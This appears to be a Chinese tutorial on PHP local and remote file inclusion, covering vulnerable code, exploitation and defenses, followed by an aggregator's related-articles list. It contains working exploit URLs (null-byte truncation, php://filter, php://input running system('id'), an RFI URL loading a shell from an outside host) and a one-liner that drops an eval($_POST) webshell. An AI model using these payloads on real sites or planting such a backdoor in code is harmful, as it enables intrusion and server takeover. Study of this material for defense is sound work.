当前位置: 首页 > news >正文

PHP文件包含漏洞详解:原理、利用与防御

PHP文件包含漏洞详解:原理、利用与防御

什么是文件包含漏洞?

文件包含漏洞是PHP应用程序中常见的安全问题,当开发者使用包含函数引入文件时,如果传入的文件名参数未经严格校验,攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。

危险函数

PHP中有四个主要的文件包含函数:

  • include()
  • include_once()
  • require()
  • require_once()

这些函数在设计上允许动态包含文件,但如果不当使用就会成为安全漏洞的源头。

文件包含漏洞类型

本地文件包含(LFI - Local File Inclusion)

攻击者能够包含并执行服务器本地的文件。

利用方式:

  1. 直接读取Flag文件
  2. 通过PHP伪协议读取源代码
  3. 写入PHP木马获取webshell
示例1:基础LFI
<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {include '/home/www/'.$file.'.php';
} else {include '/home/www/'.'home.php';
}
?>

利用方法:

http://www.example.com/demo1.php?file=flag.php%00

这里使用了空字节截断技巧(%00),使得.php后缀被忽略,实际包含的是flag.php文件。

PHP伪协议利用

PHP提供了多种伪协议,可以用于文件包含攻击:

1. file:// 协议

访问本地文件系统:

http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt
2. php://filter

读取文件源代码(常用Base64编码避免直接执行):

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
3. php://input

将POST数据作为PHP代码执行(需allow_url_include=On):

POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>

远程文件包含(RFI - Remote File Inclusion)

攻击者可以包含远程服务器上的恶意文件。

必要条件:

  • allow_url_fopen = On
  • allow_url_include = On
示例2:基础RFI
<?php
$basePath = @$_GET['param'];
require_once $basePath.'/action/m_share.php';
?>

利用方法:

http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?

问号后面的内容会被解释为查询字符串,从而截断原本要添加的后缀。

高级利用技巧

1. 日志文件污染

通过包含Apache或SSH日志文件,在其中注入PHP代码并执行。

2. Session文件包含

利用PHP session文件存储可控内容,然后包含session文件。

3. /proc/self/environ利用

在特定环境下,可以通过包含这个文件执行代码。

防御措施

  1. 白名单验证:只允许包含预定义的文件
  2. 禁用危险配置
    allow_url_fopen = Off
    allow_url_include = Off
    
  3. 路径限制:设置open_basedir限制文件访问范围
  4. 输入过滤:严格校验用户输入的文件名参数
  5. 避免动态包含:尽可能使用静态文件包含

实战案例

案例1:CTF题目解析

题目URL:http://level3.tasteless.eu/index.php?file=

源码:

<?php
highlight_file('index.php');
/*view file: php.ini
hint enough, might just take you seconds to do?! */
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!
$inc = @$_GET['file'];
@require_once($inc);
?>

解题步骤:

  1. 查看php.ini确认配置
  2. 使用php://filter读取源代码
  3. 分析源代码寻找flag

案例2:Webshell获取

  1. 准备木马文件shell.php
<?php fputs(fopen("shell.php", "w"), '<?php eval($_POST["xxx"])?>')?>
  1. 通过文件包含漏洞上传并执行
  2. 使用中国菜刀等工具连接webshell

总结

文件包含漏洞危害严重,可能导致敏感信息泄露、系统沦陷等后果。开发者应当重视这类安全问题,遵循安全编码规范,而安全研究人员则可以利用这些知识更好地发现和修复漏洞。

切记:本文技术内容仅用于合法安全测试和学习研究,未经授权对他人系统进行测试属于违法行为。

http://www.lqws.cn/news/204895.html

相关文章:

  • 解决国产GD32下载的工程无法编译
  • 两种Https正向代理的实现原理
  • Python 字符串与列表核心操作全解:从独有功能到实战场景
  • Redis故障转移
  • 探索Python融合地学:斗之气七段(运算符)
  • 在命令行直接执行可以执行成功,加入crontab定时任务执行shell脚本不成功失败的问题解决方法
  • 晶圆Map图芯片拉选
  • MATLAB-电偶极子所产出的电磁场仿真
  • gRPC 的四种通信模式完整示例
  • RSA加密算法:非对称密码学的基石
  • 磁盘修复工具
  • Day47
  • Global Security Markets 第 10 章衍生品知识点总结​
  • BeckHoff--MES数据交互 MQ TRANCE API (MQ 追溯 API - 系统概述和命令参考)
  • Go爬虫开发学习记录
  • IEC 61347-1:2015 灯控制装置安全通用要求详解
  • PyTorch 中cumprod函数计算张量沿指定维度的累积乘积详解和代码示例
  • 视频字幕质量评估的大规模细粒度基准
  • Docker基础(二)
  • Vue Fragment vs React Fragment
  • 洛谷P12170 [蓝桥杯 2025 省 Python B] 攻击次数
  • 《Vuejs设计与实现》第 8 章(挂载与更新)
  • vue注册自定义指令
  • 罗尔斯·罗伊斯数字孪生技术赋能航空发动机运维革新:重构维护范式,驱动行业低碳转型
  • 第10篇《数据库中间件集成监控与全链路观测系统设计》
  • 81 实战一:给root目录扩容
  • Java中栈的多种实现类详解
  • 【工具使用】STM32CubeMX-FreeRTOS操作系统-信号标志、互斥锁、信号量篇
  • Cell-o1:强化学习训练LLM解决单细胞推理问题
  • 初探Succinct Jagged稀疏多项式承诺方案